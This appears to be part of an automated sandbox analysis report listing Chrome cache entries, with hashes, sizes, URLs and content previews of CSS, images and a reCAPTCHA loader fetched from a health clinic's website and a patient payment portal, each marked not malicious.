Size (bytes):	2466
Entropy (8bit):	5.013100524413016
Encrypted:	false
SSDEEP:	48:EkvNWFaDp2JZMoboA5wM+PZCtRFeeTCM+vqWt6Wm3v+T/61aMa9aUa11V:G60QsSFDALl
MD5:	1C0EBEAE6180B224EC18B4EC29996EA8
SHA1:	9F35C4532F481662A72028CF780E85B2E26E2819
SHA-256:	FF9145EA7CE6505C7E0E2472489ABC6DF8AB8FCBB3E80D95012067E65BCBC0BA
SHA-512:	0F766F784AB89AE9DB991FF49754E7BA6216570D7BC7C6B0215E6BBE2AE04713A90AA697B526D8EC29C905640D45D851624FA3EA9D2D3856F3A00784C1A3744F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_full_width_hero.css?ver=230904-91940
Preview:	.acf-block-full-width-hero{border-bottom-right-radius:5.625rem}@media (min-width:576px){.acf-block-full-width-hero{border-bottom-right-radius:7.65625rem}}@media (min-width:768px){.acf-block-full-width-hero{border-bottom-right-radius:9.6875rem}}@media (min-width:992px){.acf-block-full-width-hero{border-bottom-right-radius:11.71875rem}}@media (min-width:1200px){.acf-block-full-width-hero{border-bottom-right-radius:13.75rem;padding-top:8.25rem}}.acf-block-full-width-hero__image{max-width:100%;max-height:100%}.acf-block-full-width-hero .filtered-image{-webkit-filter:grayscale(100%);filter:grayscale(100%)}.acf-block-full-width-hero .bg-filter{background-color:#104df8}.acf-block-full-width-hero .bg-filter-black{opacity:.64}.acf-block-full-width-hero .bg-filter-brown{background-color:#874b0f}.acf-block-full-width-hero__wrapper{min-height:8rem}.acf-block-full-width-hero__circle{width:12.75rem;bottom:-6.375rem;left:-5.375rem}@media (min-width:576px){.acf-block-full-width-hero__circle{width:18.2

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.641249800455479
Encrypted:	false
SSDEEP:	3:Iu6CxICkuWth+0hk1:TPkuqZh+
MD5:	F98EDBD8523B3AFE587188AAD583124C
SHA1:	D4E682FED50B049442EDAC5C5A5CD8D6AA372881
SHA-256:	E822B4B4E3C175097EEF9AF6E3134F4753F4678BBC6A46F1892FC32C4B03E74B
SHA-512:	51B46943E736245AE1085700750731564E8CB7153AF771697D2A2D780488F0FDD864FDD71F544FB9A8C7A7F679CF8F3A24F4780F7C2C5F785F055EB02EBC1628
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmslZVP2F-R1xIFDe5qUokSBQ1TWkfFEhAJ1i7GQJ03AZ4SBQ2UkJL6?alt=proto
Preview:	ChIKBw3ualKJGgAKBw1TWkfFGgAKCQoHDZSQkvoaAA==

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 135 x 135, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	34112
Entropy (8bit):	7.953275159406534
Encrypted:	false
SSDEEP:	768:G3eaHUTIuTmQXNlgQbtJENSh/LKHiZVKLCNt0TJL1:G9HUMOXTgbAVLp22NiNp
MD5:	5D94F87C3C22655E14E10D1731C68B2F
SHA1:	99C190DA779574F237EA620A1AC803B5E3FBF4FC
SHA-256:	621A6618ACF4DCABD8E4B63FE21D09ED4585DCD953CF7033DAC97788C7CB349D
SHA-512:	FA128EC2618127219723BD6980FBDE3FD1E3B81A1C5420085078D7FEA50FEFF98360EBCFDDE4A8A910D19DF1EBD12E3F7C2982F88C63927D6C2AE6EB189EFF35
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.J.....pHYs.................gAMA....\|.Q.... cHRM..z%..............u0...`..:....o._.F....IDATx.....0.......;..H..@....pN.&S...z0.tk.v...V.`4.,pv.s~\|..@.C..LP.K..P...h.......HX...#Rd...,Q....@....C.......%..P<d.@.1.....Z..C#....x.0......K.LH4#.....!E.,...&.OX..$.J8_.j.B...%.@...e.@...:=.(....PB).+.\.P...8...=..?.g..bLHB...i!.B.\...%8.....ZTu..8...3........\P.r.Z..LX...(.e.R.[.f.e........%]X.L....VA.C..xI.,. ....AQT.....Mc.%......`.X.s....S...4_.....g-..R.A....kj.F&)!.e.....}%....cp..n[....<.RW......Y!..M..A(.C.+$?.4...r..Z]...0.D..&.qh.`.kdbfee.d...b.P....T.....ec.f....`.....h.5..C....A...........L@....?H.? ...~~.........................5.'4q..&.....-RB..U...p..@.....%.n.... $.X....\|~h.c........................?H.B..?......C#..D.8....(\ i....D...P...AB.>....../.^.....o.?....pFhb.%.g@..._@....+Z"... ....n&.D.j<.BK.I ..bYh..I.qp.......H)..........._.....G<,.@..4A.T....JB.J...P..............._.........z......~...b...# ~.-Q.C..

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1285), with no line terminators
Category:	downloaded
Size (bytes):	1285
Entropy (8bit):	5.80684301834375
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAjZJl9F6+KVCLTLv138EgFB5vtTGJTlWtX5l1A4fsLqo40RWUnYN:VKEcixKonR3evtTA8h1mLrwUnG
MD5:	857B04EEE8B480C06091523CD5E620A7
SHA1:	467721072BCA889F2D3368282894869ADE54FDAA
SHA-256:	A66FCB9852FF883C6256135C0FEEA7F3352C6245E9634D3D2AEDB806CA2ECA0F
SHA-512:	A83C1B73E941495CAB2C9A86D20862B3641E38035550898DCC05254B86D7BAA0A8C69E2D8039AF02A5E4B6300DAA8AF668F9C9D1C89EC59FFB13E11438B57CE6
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('explicit');(cfg['onload']=cfg['onload']\|\|[]).push('ctctOnLoadCallback');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po.crossOrigin='anonymous

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	109463
Entropy (8bit):	5.003969933669702
Encrypted:	false
SSDEEP:	1536:KXyfxXa66XsHZXMtPX2mgX6s8XEtHXInJXyEGXiumXcLVXMhLXea8XCgIXURzXQt:P434c4b4Y+rVMIfh
MD5:	54A94E42520AF88F30091C491EAEBCCF
SHA1:	487475503AD7855C85726731A244F9159FF235A9
SHA-256:	5E8682DB94E27B1D0605372E1568A9B95E224F80238CC8E999B4CBC7F3C3D92B
SHA-512:	A1092C8288039347EC8B82AC327AF4AF23D76ADB7686455622E1C21E213DE1786A71025C39BA4C61629D7566DB483BB600C1A49A62102887A78ECA7C9C00D77C
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111
Preview:	[data-aos][data-aos][data-aos-duration="50"],..body[data-aos-duration="50"] [data-aos] {.. -webkit-transition-duration: 50ms;.. transition-duration: 50ms..}....[data-aos][data-aos][data-aos-delay="50"],..body[data-aos-delay="50"] [data-aos] {.. -webkit-transition-delay: 0s;.. transition-delay: 0s..}....[data-aos][data-aos][data-aos-delay="50"].aos-animate,..body[data-aos-delay="50"] [data-aos].aos-animate {.. -webkit-transition-delay: 50ms;.. transition-delay: 50ms..}....[data-aos][data-aos][data-aos-duration="100"],..body[data-aos-duration="100"] [data-aos] {.. -webkit-transition-duration: .1s;.. transition-duration: .1s..}....[data-aos][data-aos][data-aos-delay="100"],..body[data-aos-delay="100"] [data-aos] {.. -webkit-transition-delay: 0s;.. transition-delay: 0s..}....[data-aos][data-aos][data-aos-delay="100"].aos-animate,..body[data-aos-delay="100"] [data-aos].aos-animate {.. -webkit-transition-delay: .1s;.. transition-delay: .1s..}....[data-aos]

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.712649039618044
Encrypted:	false
SSDEEP:	3:InEwpCkoSySv6yukbbkpBth+0hk1:wpoSySv6yF8pbZh+
MD5:	03A5D196A68F65E98E556C4391094CF2
SHA1:	87FECF9E08071136952DE76A817213F568DA1D9A
SHA-256:	C77B8601E08A05EFD3FAF3E4D187A67F9397145CDDD89B64687B69597625B355
SHA-512:	B4BC4C4B0E6D756A68BCB9A1D913E8CE0B5678350AACDFC109B3B5B1046D848CB5BAFA2DBF208C56FD5074F77F9BC5E6FB083EF7D68F5D7865A3BC360755BB64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAkRhkGy71Il3xIFDRVQj_4SBQ1a3e0uEgUNUopJoxIFDUC-9V0SBQ1AWQ9bEhAJVCnATRp0txgSBQ2UkJL6?alt=proto
Preview:	Ci0KBw0VUI/+GgAKBw1a3e0uGgAKBw1SikmjGgAKBw1AvvVdGgAKBw1AWQ9bGgAKCQoHDZSQkvoaAA==

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26053), with no line terminators
Category:	downloaded
Size (bytes):	26053
Entropy (8bit):	4.509117644614597
Encrypted:	false
SSDEEP:	768:CMJihoCcZCOud8G8tKS65wqsZQ1G+dM2cl6iCRotsV84sxIKcv4g01UeEPEQEB4D:CMJihoCcZCOud8G8tKS65wqsZCG+dM25
MD5:	847DA8FCA8060CA1A70F976AAB1210B9
SHA1:	0557D37454B67F42F2CB101E57E5070FB1193570
SHA-256:	1AA8845FD06E475AEFE733D4E55B36A92FCD487975049C8172341827AC9CC03E
SHA-512:	D5C2BBF1AD68FA1B7625C696EA0F0E5D8C2AA5EBFDFBA1AA3A4CFDC6604DF625148489DD2ADC7020B19660E4A26CE2A32EC11D8F28D9BD80EAFDC67035E6A4D3
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/animation.css
Preview:	[data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="50"].aos-animate,body[data-aos-delay="50"] [data-aos].aos-animate{transition-delay:50ms}[data-aos][data-aos][data-aos-duration="100"],body[data-aos-duration="100"] [data-aos]{transition-duration:.1s}[data-aos][data-aos][data-aos-delay="100"],body[data-aos-delay="100"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="100"].aos-animate,body[data-aos-delay="100"] [data-aos].aos-animate{transition-delay:.1s}[data-aos][data-aos][data-aos-duration="150"],body[data-aos-duration="150"] [data-aos]{transition-duration:.15s}[data-aos][data-aos][data-aos-delay="150"],body[data-aos-delay="150"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="150"].aos-animate,body[data-aos-delay="150"] [data-aos].aos-animate{transition-de

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	22315
Entropy (8bit):	3.741277698405201
Encrypted:	false
SSDEEP:	384:F/R1VGQm0d8Me9sBjNjlw9aAXuLxDlcDE9JluPpKOGG+bVRCqe/tgK1dKrQJ10sJ:X1V3Rcg8Kr07Qp4T9TXSY
MD5:	E7C4F406DBD8701D7336592B3B9B89E3
SHA1:	4381159CEBB0B555C7192D706944C9914097F550
SHA-256:	27453F83F2D291215EC43109564AFDF82DCCB1E62594A7D9812F5B3C7575ED9B
SHA-512:	A1563B3251CECBF6572DCFC3E2555EFA8E17225D4861D713E512033DBEB192963B5711D42037B5EA9448611ADB2496A0A5F8DC3E865FD491D4AF77B84B531E3A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/img__decor--dots.svg
Preview:	<svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg">.<path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443 0 1.70109C0 1.03774 0.537745 0.5 1.20109 0.5C1.86443 0.5 2.40217 1.03774 2.40217 1.70109ZM2.40217 13.712C2.40217 14.3753 1.86443 14.913 1.20109 14.913C0.537745 14.913 0 14.3753 0 13.712C0 13.0486 0.537745 12.5109 1.20109 12.5109C1.86443 12.5109 2.40217 13.0486 2.40217 13.712ZM13.212 2.90217C13.8753 2.90217 14.413 2.36443 14.413 1.70109C14.413 1.03774 13.8753 0.5 13.212 0.5C12.5486 0.5 12.0109 1.03774 12.0109 1.70109C12.0109 2.36443 12.5486 2.90217 13.212 2.90217ZM14.413 13.712C14.413 14.3753 13.8753 14.913 13.212 14.913C12.5486 14.913 12.0109 14.3753 12.0109 13.712C12.0109 13.0486 12.5486 12.5109 13.212 12.5109C13.8753 12.5109 14.413 13.0486 14.413 13.712ZM25.2228 2.90217C25.8862 2.90217 26.4239 2.36443 26.4239 1.70109C26.4239 1.03774

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 98 x 90, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	11174
Entropy (8bit):	7.97758318268209
Encrypted:	false
SSDEEP:	192:b4JEM/GnDNmhq6mokMiqF/RhAUYaYL39w/RA1A4m63ux+9Tyv7RyRJgBHWHOYa7z:b4b4ghdiqFJyVpr9A63p9TG0RCZWH/K
MD5:	A4741C6089E163F0E5C0CDB2C698A03E
SHA1:	03B190C8D9350802CBABBCCD2757CFF1FB7115F0
SHA-256:	C9685B413894B0647B42EDF9CAC1FC0B2ED044C1FE238D843B9CA3D29DB1B805
SHA-512:	8F16410EDBC8893D9982CCAA1F2BA73BB1E7189B8101CE8EF3167D4663E5580A0BD2462295052A5DD86FA83AB3A0C4ED889204052951F8C6FA71E564D3EDCAFB
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/canonical_car.png
Preview:	.PNG........IHDR...b...Z...........+mIDATx..O.a.A.3.....@....YY.5`......#B...\|...)F3S..8..H._.......N......v..i..k{D..r..wKhO...V$..XD..(...4]8......t...Q..f!C.{...o.:.sNJ!.~R.....GFG.$.o.a..m...S.a...("..uu1....h......V...).....V...+....@rd9b.. ........5..7.]...........,CD./.......K.; ......v......H..`..$.p.E.I/.{....5....`..........O_...H.c.."G.Jp}LB.....OU.$..%....=..+..P` .....vR..^.._...a. ..vX.LIH..-..F..x.?......bRr..@.1....b...`#.L".........\|....M.8$....IV.9s...;.WL....Q......8..h.....HIje.....a{.......:\...U.."...AYs.f.:.?RU.C5.,......Q.j..y...Nx.J....1.>.>-R.L.>.q?.H;.Z`.o...}...sN....k.........P.&>w.0".u.$.l.W2.q.=I.H......2.......I.H.x..> [.,.t7..$$....W.`..D..#).......sfv..A_.....{....cy-..H.x.U5...Ew`....JxB..\.o..\|........)..?~..D.A/...y0.%.D.;...0.K..d.v......;..x6B...Hg^E.6..~....g...'-.5.].c.[C2.$A.......!..b.d..U..$w:/.$B. )..P....Hq..3.!.l}]y.....`..s>.7.t.P.s.%d..E{M.m.....$.%...v..W..T:-........... 0....D4a".K...

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2780
Entropy (8bit):	7.896659456918859
Encrypted:	false
SSDEEP:	48:U1aFeTmb2gTp7bHYJMzaPqVFaMyS0YUNEUugZ2OcZvw41HH8yhhyZZw30:saET0z7haPuFJY2r3OwE
MD5:	A0EFD0193484EC598203294884D1BC66
SHA1:	19CF933651A666BDF79219A1B5A3E623D631A5A5
SHA-256:	4B683F944B41B1D9A3308C2D55043C032EA061633281DE3B0E25511D04AC4804
SHA-512:	8786A10BE7392DBE3564BE21EBAE0C8067D90F07CE4CA3FE100530E0829E490BAE9F5E9B0A2BC11EE61B04CFBC65A58E0E46AA99CFB54685DD45026B310EA5D4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...K...<......iG.....sBIT....\|.d.....IDATx^.{PT.........>.]l...E..:58..M.D.OX..T...T.j..`..\|.GD...M.t,k....V:U.F...!.hF....>T.c...\..........8.......w....!.}.L.H..}F....$C..0~...M....3.....S.S....!o..}.5.ajQ..3....Z...{.+9.p..2e.xHL..#F.e..~.&..yOb.=.-Y:.[...........0...V...Z...z.+91s5!.9;...9..j\..&,...k.....^..R...i.\..t0..UV~X.p..z..._..I.vc.........G...U.z..a,..C..2.V...F....9.lX../O"A...........eK7.?[i...z.d.EG>.....g'.{bzS+.......GVU}p.U.T.lX....J....EuNM..y..32^....~......zJ...1..'....r0b...l.B..!.....UP.........n.,...zh.9.a...G.T.{..,Xf.....v.`...K.\.0..C.....74.L6.K....~V.}.V."......c........'.V..>.....+../...0p..Y..R...L...f.{...1c.....zL.28hytD.5o...B..j......U..aq...".U....k1G..a.,..84g9..@..]8.f..zk..?..$.1...r...2[...q.6.`qm.Qs.NlWJ..<.X.{.\|w.:...1j~......,.......U.~.Lt Y.s.ps17V.> .-{....+.~..+4Pa9....V........ ..v.......E#8....]...kr..V.....2..8.......`J.$9...e.W.Q/..ej.]G...a.,w.~.Pc..[....".{..Y...&...j.AS.

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	91107
Entropy (8bit):	4.972624032338749
Encrypted:	false
SSDEEP:	768:tjWw+l0OlQgqj20lyCJE9uxw5nTxIE4T4mzxgmRYH:tWw+l0OlQgqj20lyCJEZSEXVmiH
MD5:	F305D3A8F0FB7D21EC6C92A16E6C4E0A
SHA1:	ADD6C40502F891342B62B1FFB209BC958D775297
SHA-256:	A4EB5E932D47C8E448196710B0CCB2369E11B988A0CA81AADE35DCEBA47960F0
SHA-512:	6A6A9D0D7ACA485E3AAAA618D2A4EC987ED92889EA834E879D4C252D61E82AD35A0085B147EA56E63BADE6A7DECEDC2E6713B3049F4F0F79C4A30DE9DFB68C59
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.css
Preview:	/* @import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap'); /../ latin-ext /....@font-face {.. font-family: 'Poppins';.. font-style: italic;.. font-weight: 200;.. font-display: swap;.. src: url('../fonts/poppins-extralight-italic-latinext.woff2') format('woff2');..}..../ latin /....@font-face {.. font-family: 'Poppins';.. font-style: italic;.. font-weight: 200;.. font-display: swap;.. src: url('../fonts/poppins-extralight-italic-latin.woff2') format('woff2');..}..../ latin-ext /....@font-face {.. font-family: 'Poppins';.. font-style: normal;.. font-weight: 200;.. font-display: swap;.. src: url('../fonts/poppins-extralight-normal-latinext.woff2') format('woff2');..}..../ latin */....@font-face {.. font-family: 'Poppins';.. font-style: normal;.. font-weight: 200;.. font-display: swap;..

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10417
Entropy (8bit):	5.0030837898115355
Encrypted:	false
SSDEEP:	192:2P7GdhP/mO1zslegTFnSCPwrZKvP0PScm1:I7Oh/L1YleCSo6kH0h8
MD5:	89235F00447DE2F2CCDB832681329FA4
SHA1:	E2A140411DE802335A987743E1C83552D7E23478
SHA-256:	BB074470335C51CE340226D0CD210450874E73FE2AB2EA1577F97CDA61018742
SHA-512:	3BDCC730C34B6AED93C059621D5703A431E10BB65EDEBC2391E8FAC83A4B16B1C31B6E3A460ACFFF545702E3A651A6B509F04E749BCBDFA0F0C22F9018D6F21A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3
Preview:	/*.. Styling for Gutenberg post layout blocks.. /.... {.. -webkit-box-sizing: border-box;.. -moz-box-sizing: border-box;.. box-sizing: border-box;..}.....cv-clearfix{.. display: block;..}.....cv-clearfix:after{.. content: "";.. display: block;.. clear: both;..}..../* Block Title two */.....cv-block-title{.. font-size: 32px;.. position: relative;..}.... .cv-block-title span{.. position: relative;.. display: inline-block;.. }.... .cv-block-title.align--left {.. text-align: left;..}.....cv-block-title.align--center {.. text-align: center;..}.....cv-block-title.align--right {.. text-align: right;..}.....cv-block-title.layout--two{.. margin-bottom: 40px;..}.....cv-block-title.layout--two span::before, ...cv-block-title.layout--two span::after {.. content: "";.. position: absolute;.. left: 50%;.. bottom: 0;.. width: 50px;.. height: 2px;.. background: #333;.. margin-left: -25px;..}.....cv-block-title.layout--two span::after {.. left: 50%;.. width: 30px;.. margin-left: -15px;

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 208, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5302
Entropy (8bit):	7.74229330768038
Encrypted:	false
SSDEEP:	96:CiRVyw5zttZmB0MXZrmmjYUHDYvUgyqpXQHhsfNpK6e32:Hr/zttE9jU5UhQNgbG
MD5:	52267D23F490692A0A9EA88CEABB6554
SHA1:	A0159E508CD92CD9CBBCF3D53BE7DD565634D797
SHA-256:	74AF46697DD1A60D0B49CB30FFC0E7F13BD6E85C6B3A8960A960A3662623AA8E
SHA-512:	77E0DFAEC33DEEE5F4083A476180695F22BBF731996F5DB1536B5A9D90FB062A417BB2AD1877661B15D45100330F0BBC6EEFED10C8D13E22CC989BEB1C877975
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/stepblock-bg-landing.png
Preview:	.PNG........IHDR.............$.GS....sBIT....\|.d....mIDATx^..ko.W....{..v{H2.D.).<.......F g=.V.y=..}..g..]....2;c.$+#v.1.......n..../YB.WwWWW..d.D.s>..~.S.t-.yga.z.u........@@=...Jo..Yk...v..A.g?.j..+..r>.. .@v.:.n......N.._mk...w4?..8..'7.k..6... ...r..rz.t.....G..u.?..qR..\(..R..8....@@n..-..&7?.mm3.H..,..o..^0....A....PD........z.U#~a...f/...Y.s.....%.D....xF p......[/Cyeh..bG.....s....@.Y..m....'/R9.....hUW.4'o..... .....]....<......{B..s....M.....@..!....Vwu}...=..-X...,=,{.',GfN!......4..t>~.g9...q.......1E....@`.K..n...,..V.1..@.........N.y......8..h.K....gr!....<..e.`.e.o....;.n.....+..@@a.v.l..._[.....>......m... .....*.}tM..K.....I.{<...b.. .@...{G...,.........wa~!.....t.`.?~w.Q......w9..j.&....N,.......<.....K.Kf...K...@....>..#.......b.. .....:z.......`.....M...<.. ...X.6.`.....(.......q......]o.:..O.~...... .@.."...]6.1..V^RW.....(+0.`....~.M..uWY}.....H(0.`..._.y.V.FNB_.....('0.`.....<{.[>.(7..0...(..`....S.1!..j....>..6.

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 578 x 382, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	114029
Entropy (8bit):	7.984131071884062
Encrypted:	false
SSDEEP:	3072:Ju+8CTg9z1TsQHmiCyGYKr6CWkObY8HcHOUP:4+8mg95YQG5yGYKrNpORVUP
MD5:	2D81311D1DA83A97E5AF22E74BDFA0B5
SHA1:	50CF98279050ACE3C54DAFADEA37C2370F81406D
SHA-256:	C86CB0AF2ECE563652E1F2F1CE7399D2E84572C9A2D6E678F25034560703F731
SHA-512:	48AB304F596A29C7F58C69FC247478B3D76BAAC6BCA907E018075BF1AE997363DEC393401D64A2C4EEC3869FBDC4C68AA544980F7EFE675A95ADF24402C650B7
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/view-health-landing-vector.png
Preview:	.PNG........IHDR...B...~.....n.uK....sBIT....\|.d... .IDATx^..`\G.?\|..w.m.=..4.i...H..]....P./@....F =$...>..> .J..8....r.e[V.+m.~.3sg....".V...w.{.33g~s...kJS ..y..xU.5<N.....x..l..v.$...g..e..6..$r4..mc.w.>.z..E>Hd..^..[.W>D.^O.m.x..........\.V.U.X(.k:.W....[.E.q..OB.........>.....s&@Q...=7....<l.?%....6'....y3....=........&.?A..x...N.....n.....ja.}...yZd...RnB......&..V.9E.....p../..~0.].......v(u.b._...FY....`..7..).;.u1:.?S.#._..}..}".I..U.5...:1ElYJ.s..V.&.., 4.d...._.....$.....s&...g!.za.......x~9^..5....`.-c.{.>. t.Tc...^..UVMA"....V.1....D....=...D.1....a\..Y5f.....n8.....FUM.n.j.Y.b.Yx.#.b...1.~..><....l..Y.....^.}4b.z....e.^.{...X.=.&.7.B......+..b..p.'..V..(.i..#o.7.4.oI.........h../..../[zN..$...$..Dl4.h.i..y.XA.<..]..wV.L....xyM.A.....8&.+....a.s.$.....q........a..id.%....<n'.f......'.0.-ie..W...\|........!.UhZ...j.<...^+.Io..../*bi..&wP.!`....$...9....7.Z..\|.H\c...O...eV.."..k.D..'[~>.h4..f\..FU`.@.DC..WV..W.}..\...n.j

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 459 x 445, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	43974
Entropy (8bit):	7.96933871471359
Encrypted:	false
SSDEEP:	768:1D29L2cH7rs9VeXz2O7Hj5EQsQEGvzlBK2YZNc4ZKdjOlTYBaAnjOj9a9F:Bi2cHLzpDj5ESlvHKb1KdjbaZaH
MD5:	37CC774445CD44857F804539B5731846
SHA1:	56FFA8381376D4BACC43315E1FF20739A14CE09C
SHA-256:	AA95A4205DF23FD3E1CFBC6344FAEE223758A6B2B0B53FF8DDC910F90B80D264
SHA-512:	FE30F489545DB44A50CB32018D6D2FFBAD11A857EDBA7AD5E8BDA573E4AAC7D86FCC5D92620A93C6211BAE7D3C66B652015F6F9574630AC3DD376E0F9A4A5ADC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............zy].....sBIT....\|.d... .IDATx^..\|\....v.V.X].{...M1.C......!=.._*!$?.!!t..-@..%.Pm......^dK....{.H....-.&.d.sg...3g..H.Q@...D.Q@..W...#.....( ....+ ...".....( .xQ@`)CD...D.Q@..X....D.Q@....S@,.....E.Q@....@..e.t.4Q...D.Q 8.....'W....( .$......di.( ....@p..,..O...D.Q@.H........DQ@...D....X...\-.....(....,.......( ....) ..N?.Z...D.Q ...X&@'K.E.Q@....S@`..~r.( ....@.( .L.N.&....( .....28..jQ@...D..P@`...,M..D.Q@..N..ep....( .......2.:Y.(.....(.........E.Q@....@..e.t.4Q...D.Q 8.....'W....( .$......di.( ....@p..,..O..M......miN'e......,:..=...".DV@...<.r.t....S.ry..nw.-..@.w"k#m.......w9.4f..P...'..Cn.D(..uy...._.~..LC..#M.S......^.V..j\|.........k{GG.].>..]~.-...>) ..I&9.W.F...j0.&.v"..cq.(.NW..[.~O.N,I_...S.....Y.v{...=..Z..Vl.\..h.]...B...2.j&pY...f2Yf...s....Y.k2..4&.,...(.hz0.:`y..v;.u:..............2!.9...m.3.u.^._.....U....K.[.]..U......[...z<..7n.d..%....<.U0../+..a.._.o...\.H<.......Q...h6aL~.v.....-q.FQ..`U..1.i.Pe

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 591 x 568, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	7.818644839733203
Encrypted:	false
SSDEEP:	96:wSSd/j6Tb2uGv0m7Gi+6okVk5k3AS2xEEUPTF1z:wSe/j6Tb2L76n6lVeS2xDUPj
MD5:	D384E7DBBC2AFFB4FA348FEBBB0C59A0
SHA1:	BEB84E4F11E26343F2F3C9BB097A20239C151427
SHA-256:	8A3971502BC05AFA6CC107FC2B537A5E32018C2CB546F77F5E966BA92B8404DC
SHA-512:	2EA7CDDBABFD30FEF020F51C1F4B7383183EBA52523065592E1EB394BC525019E5A59DE643115BFE6150F44B782015400EB2CD79D5DF660E330FCC860003522D
Malicious:	false
Reputation:	low
